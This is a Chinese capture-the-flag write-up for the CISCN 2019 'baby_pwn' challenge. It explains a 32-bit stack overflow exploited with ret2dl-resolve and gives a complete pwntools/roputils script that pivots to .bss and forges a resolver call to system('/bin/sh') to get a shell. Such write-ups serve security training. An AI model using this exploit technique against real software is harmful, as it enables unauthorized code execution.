ciscn2019-baby_pwn

介绍

国赛2019的一道题目,被大佬们几分钟搞定(或许几十秒?)

对有的人来说,这真的并不baby啊。

分析程序

程序是个32位的,无敌简单就一个read,啥都没了。然后有栈溢出,之前做过一道类似的,很久很久才做出出来。后面才知道有现成的框架(roputils)一把梭。

具体的利用方式就是ret2dl-resolve了。

引用师兄一句话就是”简单说攻击分两步,第一步stager先把stack pivot带到我们可以控制的bss段,然后再用ret2dl-resolve的技巧伪造结构来调用任意函数。”

然后我也没有手动实现过,之后有机会再说吧。

利用方式

直接拿框架送你的现成脚本,就可以打通了。(怪不得大佬们那么快)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *
from roputils import *

context.log_level = 'debug'

binary = './pwn'
elf = ELF(binary)

fpath = binary
offset = 40

rop = ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)